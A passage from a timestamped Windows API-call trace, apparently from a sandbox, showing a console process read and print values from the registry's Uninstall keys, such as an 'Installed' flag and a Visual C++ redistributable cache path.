returned 0x204bb0 [0150.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.761] _errno () returned 0x204bb0 [0150.761] GetFileType (hFile=0x50) returned 0x1 [0150.762] lstrlenW (lpString=" ") returned 4 [0150.762] GetConsoleOutputCP () returned 0x1b5 [0150.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.762] GetConsoleOutputCP () returned 0x1b5 [0150.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.762] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.762] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.762] __iob_func () returned 0x7fefd702a80 [0150.762] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.762] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x3") returned 3 [0150.762] _fileno (_File=0x7fefd702ab0) returned 1 [0150.762] _errno () returned 0x204bb0 [0150.762] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.762] _errno () returned 0x204bb0 [0150.762] GetFileType (hFile=0x50) returned 0x1 [0150.762] lstrlenW (lpString="0x3") returned 3 [0150.762] GetConsoleOutputCP () returned 0x1b5 [0150.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.762] GetConsoleOutputCP () returned 0x1b5 [0150.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3", lpUsedDefaultChar=0x0) returned 3 [0150.762] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.763] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.763] __iob_func () returned 0x7fefd702a80 [0150.763] _fileno (_File=0x7fefd702ab0) returned 1 [0150.763] _errno () returned 0x204bb0 [0150.763] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.763] _errno () returned 0x204bb0 [0150.763] GetFileType (hFile=0x50) returned 0x1 [0150.763] lstrlenW (lpString="\n") returned 1 [0150.763] GetConsoleOutputCP () returned 0x1b5 [0150.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.763] GetConsoleOutputCP () returned 0x1b5 [0150.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.763] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.763] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.763] GetProcessHeap () returned 0x3c0000 [0150.763] GetProcessHeap () returned 0x3c0000 [0150.763] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.763] GetProcessHeap () returned 0x3c0000 [0150.763] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.763] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.763] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Installed", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.763] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.763] GetProcessHeap () returned 0x3c0000 [0150.763] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.763] GetProcessHeap () returned 0x3c0000 [0150.763] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.763] GetProcessHeap () returned 0x3c0000 [0150.763] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.764] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.764] __iob_func () returned 0x7fefd702a80 [0150.764] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.764] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.764] _fileno (_File=0x7fefd702ab0) returned 1 [0150.764] _errno () returned 0x204bb0 [0150.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.764] _errno () returned 0x204bb0 [0150.764] GetFileType (hFile=0x50) returned 0x1 [0150.764] lstrlenW (lpString=" ") returned 4 [0150.764] GetConsoleOutputCP () returned 0x1b5 [0150.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.764] GetConsoleOutputCP () returned 0x1b5 [0150.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.764] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.764] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.764] lstrlenW (lpString="Installed") returned 9 [0150.764] __iob_func () returned 0x7fefd702a80 [0150.764] _fileno (_File=0x7fefd702ab0) returned 1 [0150.764] _errno () returned 0x204bb0 [0150.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.764] _errno () returned 0x204bb0 [0150.764] GetFileType (hFile=0x50) returned 0x1 [0150.764] lstrlenW (lpString="Installed") returned 9 [0150.764] GetConsoleOutputCP () returned 0x1b5 [0150.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.765] GetConsoleOutputCP () returned 0x1b5 [0150.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Installed", lpUsedDefaultChar=0x0) returned 9 [0150.765] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.765] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.765] __iob_func () returned 0x7fefd702a80 [0150.765] _fileno (_File=0x7fefd702ab0) returned 1 [0150.765] _errno () returned 0x204bb0 [0150.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.765] _errno () returned 0x204bb0 [0150.765] GetFileType (hFile=0x50) returned 0x1 [0150.765] lstrlenW (lpString=" ") returned 4 [0150.765] GetConsoleOutputCP () returned 0x1b5 [0150.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.765] GetConsoleOutputCP () returned 0x1b5 [0150.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.765] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.765] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.765] __iob_func () returned 0x7fefd702a80 [0150.765] _fileno (_File=0x7fefd702ab0) returned 1 [0150.765] _errno () returned 0x204bb0 [0150.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.765] _errno () returned 0x204bb0 [0150.765] GetFileType (hFile=0x50) returned 0x1 [0150.765] lstrlenW (lpString="REG_DWORD") returned 9 [0150.766] GetConsoleOutputCP () returned 0x1b5 [0150.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.766] GetConsoleOutputCP () returned 0x1b5 [0150.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.766] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.766] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.766] __iob_func () returned 0x7fefd702a80 [0150.766] _fileno (_File=0x7fefd702ab0) returned 1 [0150.766] _errno () returned 0x204bb0 [0150.766] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.766] _errno () returned 0x204bb0 [0150.766] GetFileType (hFile=0x50) returned 0x1 [0150.766] lstrlenW (lpString=" ") returned 4 [0150.766] GetConsoleOutputCP () returned 0x1b5 [0150.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.766] GetConsoleOutputCP () returned 0x1b5 [0150.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.766] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.766] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.766] __iob_func () returned 0x7fefd702a80 [0150.767] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.767] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.767] _fileno (_File=0x7fefd702ab0) returned 1 [0150.767] _errno () returned 0x204bb0 [0150.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.767] _errno () returned 0x204bb0 [0150.767] GetFileType (hFile=0x50) returned 0x1 [0150.767] lstrlenW (lpString="0x1") returned 3 [0150.767] GetConsoleOutputCP () returned 0x1b5 [0150.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.767] GetConsoleOutputCP () returned 0x1b5 [0150.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.767] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.767] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.767] __iob_func () returned 0x7fefd702a80 [0150.767] _fileno (_File=0x7fefd702ab0) returned 1 [0150.767] _errno () returned 0x204bb0 [0150.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.767] _errno () returned 0x204bb0 [0150.767] GetFileType (hFile=0x50) returned 0x1 [0150.767] lstrlenW (lpString="\n") returned 1 [0150.767] GetConsoleOutputCP () returned 0x1b5 [0150.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.767] GetConsoleOutputCP () returned 0x1b5 [0150.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.768] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.768] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.768] GetProcessHeap () returned 0x3c0000 [0150.768] GetProcessHeap () returned 0x3c0000 [0150.768] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.768] GetProcessHeap () returned 0x3c0000 [0150.768] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.768] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.768] __iob_func () returned 0x7fefd702a80 [0150.768] _fileno (_File=0x7fefd702ab0) returned 1 [0150.768] _errno () returned 0x204bb0 [0150.768] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.768] _errno () returned 0x204bb0 [0150.768] GetFileType (hFile=0x50) returned 0x1 [0150.768] lstrlenW (lpString="\n") returned 1 [0150.768] GetConsoleOutputCP () returned 0x1b5 [0150.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.768] GetConsoleOutputCP () returned 0x1b5 [0150.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.768] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.768] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.768] GetProcessHeap () returned 0x3c0000 [0150.768] GetProcessHeap () returned 0x3c0000 [0150.768] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.768] GetProcessHeap () returned 0x3c0000 [0150.768] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0150.768] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.769] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.769] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 121 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.769] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.769] GetProcessHeap () returned 0x3c0000 [0150.769] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.769] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.769] RegCloseKey (hKey=0x5c) returned 0x0 [0150.769] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x23, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.769] __iob_func () returned 0x7fefd702a80 [0150.769] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.769] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}\n") returned 122 [0150.769] _fileno (_File=0x7fefd702ab0) returned 1 [0150.769] _errno () returned 0x204bb0 [0150.769] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.769] _errno () returned 0x204bb0 [0150.769] GetFileType (hFile=0x50) returned 0x1 [0150.769] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}\n") returned 122 [0150.769] GetConsoleOutputCP () returned 0x1b5 [0150.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.769] GetConsoleOutputCP () returned 0x1b5 [0150.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}\n", lpUsedDefaultChar=0x0) returned 122 [0150.770] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.770] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.770] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{e52a6842-b0ac-476e-b48f-378a97a67346}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.770] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x14, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.770] GetProcessHeap () returned 0x3c0000 [0150.770] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2a) returned 0x3d78d0 [0150.770] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleCachePath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.770] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xae) returned 0x0 [0150.770] GetProcessHeap () returned 0x3c0000 [0150.770] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb0) returned 0x3e1c70 [0150.770] GetProcessHeap () returned 0x3c0000 [0150.770] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.770] GetProcessHeap () returned 0x3c0000 [0150.770] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb0 [0150.770] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xae | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", pcbData=0x29f780*=0xac) returned 0x0 [0150.770] __iob_func () returned 0x7fefd702a80 [0150.770] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.770] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.770] _fileno (_File=0x7fefd702ab0) returned 1 [0150.770] _errno () returned 0x204bb0 [0150.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.770] _errno () returned 0x204bb0 [0150.770] GetFileType (hFile=0x50) returned 0x1 [0150.770] lstrlenW (lpString=" ") returned 4 [0150.770] GetConsoleOutputCP () returned 0x1b5 [0150.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.771] GetConsoleOutputCP () returned 0x1b5 [0150.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.771] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.771] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.771] lstrlenW (lpString="BundleCachePath") returned 15 [0150.771] __iob_func () returned 0x7fefd702a80 [0150.771] _fileno (_File=0x7fefd702ab0) returned 1 [0150.771] _errno () returned 0x204bb0 [0150.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.771] _errno () returned 0x204bb0 [0150.771] GetFileType (hFile=0x50) returned 0x1 [0150.771] lstrlenW (lpString="BundleCachePath") returned 15 [0150.771] GetConsoleOutputCP () returned 0x1b5 [0150.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.771] GetConsoleOutputCP () returned 0x1b5 [0150.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleCachePath", lpUsedDefaultChar=0x0) returned 15 [0150.771] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.771] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.771] __iob_func () returned 0x7fefd702a80 [0150.771] _fileno (_File=0x7fefd702ab0) returned 1 [0150.771] _errno () returned 0x204bb0 [0150.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.771] _errno () returned 0x204bb0 [0150.771] GetFileType (hFile=0x50) returned 0x1 [0150.772] lstrlenW (lpString=" ") returned 4 [0150.772] GetConsoleOutputCP () returned 0x1b5 [0150.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.772] GetConsoleOutputCP () returned 0x1b5 [0150.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.772] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.772] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.772] __iob_func () returned 0x7fefd702a80 [0150.772] _fileno (_File=0x7fefd702ab0) returned 1 [0150.772] _errno () returned 